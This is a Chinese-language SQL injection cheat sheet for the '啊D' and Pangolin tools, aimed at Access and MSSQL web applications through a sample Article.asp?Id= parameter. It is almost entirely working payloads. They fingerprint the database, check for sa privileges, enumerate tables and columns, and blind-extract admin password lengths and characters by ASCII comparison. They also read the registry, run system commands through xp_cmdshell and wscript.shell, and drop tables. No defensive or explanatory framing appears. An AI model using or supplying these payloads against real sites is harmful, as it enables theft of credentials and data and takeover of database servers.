啊D工具语句 适合Access和Mssql注入

and char(124)+user+char(124)=0 ****char(124)= | ***** ?Id=1659%20and%20char(124)%2Buser%2Bchar(124)=0 and 1=1 : ?Id=1659%20%61%6E%64%20%31%3D%31 and 1=2: Id=1659%20%61%6E%64%20%31%3D%32 检查SA权限：And char(124)+Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1 爆当前库： and char(124)+db_name()+char(124)=0 -- 检查是否为mssql数据库：and exists (select * from sysobjects) %20%20and%20exists%20(select%20*%20from%20sysobjects) 判断表名： panolin： ?Id=1659%20and%200%3C=(select%20count(*)%20from%20admin)%20and%201=1 admin也可以编码：=%61%64%6D%69%6E 啊D：?Id=1659%20and%20exists%20(select%20*%20from%20[admin]) 爆列名： 啊D：%20and%20exists%20(select%20[pwd]%20from%20[admin]) panolin： %20and%200%3C=(select%20count(pwd)%20from%20admin)%20and%201=1 %20and%200%3C=(select%20count(id)%20from%20admin)%20and%201=1 判断记录数： %20and%20(select%20%20len(cstr(count(*)))%20from%20admin%20where%201=1)=2%20and%201=1 判断admin表中有几个记录 如:10 cstr(10) 转换成字符型就是"10" 那么他的长度就是2，所以这里=2 阿D： /Article.asp?Id=1659%20and%20(select%20Count(1)%20from%20[admin]%20where%201=1)%20between%200%20and%208 判断在0-9999之间，这句是判断在0-8之间 /Article.asp?Id=1659%20and%20(select%20%20abs(asc(mid(cstr(count(*)),2,1)))%20%20from%20admin%20where%201=1)=48%20and%201=1 记录数的第一位=48 也就是0 /Article.asp?Id=1659%20and%20(select%20%20abs(asc(mid(cstr(count(*)),2,1)))%20%20from%20admin%20where%201=1)=49%20and%201=1 记录数的第二位=49 也就是1 所以=10 猜字段长度： Article.asp?Id=1659%20and%20(select%20top%201%20len(cstr(pwd))%20from%20(select%20top%201%20*%20from%20(select%20top%201%20*%20from%20admin%20where%201=1%20order%20by%201)%20t%20order%20by%201%20desc)t%20where%201=1)%3C=32%20and%201=1 第一条记录的字段长度 top%201 第一条 Article.asp?Id=1659%20and%20(select%20top%201%20len(cstr(pwd))%20from%20(select%20top%201%20*%20from%20(select%20top%202%20*%20from%20admin%20where%201=1%20order%20by%201)%20t%20order%20by%201%20desc)t%20where%201=1)%3C=32%20and%201=1 第二条记录的字段 top%202 第二条 阿D： Article.asp?Id=1659%20and%20(select%20top%201%20len([pwd])%20from%20(Select%20Top%201%20[pwd]%20from%20[admin]%20where%201=1%20order%20by%20[pwd])%20T%20Order%20by%20[pwd]%20desc)%20between%200%20and%2032 判断第一条记录的字段长度0-32之间 top%202 第二条 Article.asp?Id=1659%20and%20(select%20top%201%20len([pwd])%20from%20(Select%20Top%202%20[pwd]%20from%20[admin]%20where%201=1%20order%20by%20[pwd])%20T%20Order%20by%20[pwd]%20desc)%20between%200%20and%2032 判断第二条记录的字段长度0-32之间 两个top 1 保留一个top 1 ,改另外一个成top x 就可以猜第x个字段长度 或改最后一个top (pangolin就是改最后一个top来爆第N杀记录的长度) 猜字段内容： %20and%20(select%20top%201%20abs(asc(mid(cstr(pwd),1,1)))%20%20from%20(select%20top%201%20*%20from%20(select%20top%201%20*%20from%20admin%20where%201=1%20order%20by%201)%20t%20order%20by%201%20desc)t%20where%201=1)%3E32%20and%201=1 第一条记录、第一位的asc码 %20and%20(select%20top%201%20abs(asc(mid(cstr(pwd),19,1)))%20%20from%20(select%20top%201%20*%20from%20(select%20top%201%20*%20from%20admin%20where%201=1%20order%20by%201)%20t%20order%20by%201%20desc)t%20where%201=1)%3E32%20and%201=1 第19位的asc码 阿D： /Article.asp?Id=1659%20and%20(select%20top%201%20asc(mid(cstr(pwd),7,1))%20from%20(Select%20Top%201%20[pwd]%20from%20[admin]%20where%201=1%20order%20by%20[pwd])%20T%20Order%20by%20[pwd]%20desc)%20%20between%2030%20and%2080 第一条记录、第7位的asc码在30~80之间 top%201 第一条 top%202 第二条 /Article.asp?Id=1659%20and%20(select%20top%201%20asc(mid(cstr(pwd),7,1))%20from%20(Select%20Top%202%20[pwd]%20from%20[admin]%20where%201=1%20order%20by%20[pwd])%20T%20Order%20by%20[pwd]%20desc)%20%20between%2030%20and%2080 第二条记录、第7位的asc码在30~80之间 猜中文： /Article.asp?Id=1659%20and%20(select%20%20abs(asc(mid(cstr(count(*)),2,1)))%20%20from%20admin%20where%201=1)%3C=256%20and%201=1 第一个列的内容是不是》=256 /Article.asp?Id=1659%20and%20(select%20%20abs(asc(mid(cstr(count(*)),1,1)))%20%20from%20admin%20where%201=1)%3C=256%20and%201=1 第二个列是不是》=256 检查数据库中有多少个库：And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From [sysobjects] where xtype=char(85) and status >1)>0 爆第一个库： And (Select Top 1 char(124)+name+char(124) From (Select Top 1 [id],[name] From [sysobjects] where xtype=char(85) and status >1 Order by [id],[name]) T Order by [id] desc,[name] desc)>0 -- 爆第N个库：And (Select Top 1 char(124)+name+char(124) From (Select Top |N| [id],[name] From [sysobjects] where xtype=char(85) and status >1 Order by [id],[name]) T Order by [id] desc,[name] desc)>0 -- 爆有多少个列名：And (Select char(124)+Cast(Count(*) as varchar(8000))+char(124) From [库名]..[syscolumns] where (id = (SELECT TOP 1 id FROM [sysobjects] WHERE name = char(97)+char(116)+char(116)+char(97)+char(99)+char(104))))>0 爆列名：And (Select Top 1 char(124)+name+char(124) From (Select Top 1 [name] From [syscolumns] where (id = (SELECT TOP 1 id FROM [sysobjects] WHERE name = char(97)+char(116)+char(116)+char(97)+char(99)+char(104))) Order by [name]) T Order by [name] desc)>0 -- 读注册表: DROP TABLE D99_REG;CREATE TABLE D99_REG([ID] int,[Data][varchar](255))-- DECLARE @result varchar(255) EXEC master.dbo.xp_regread‘HKEY_LOCAL_MACHINE‘,‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots‘, ‘/‘,@result output insert into D99_REG([ID],[data]) values(‘9999‘,@result);-- And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From D99_REG)>0 -- 执行CMD DROP TABLE D99_CMD;CREATE TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1)) insert D99_CMD exec master.dbo.xp_cmdshell ‘dir c:\‘-- And (Select char(124)+Cast(Data as varchar(4000))+char(124) From D99_CMD)>0-- 执行WSCRIPT: DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out EXEC sp_oamethod @s,[run], NULL, [cmd.exe /c dir c:\] -- 恢复XP_CMDSHELL ;exec master..sp_dropextendedproc ‘xp_cmdshell‘--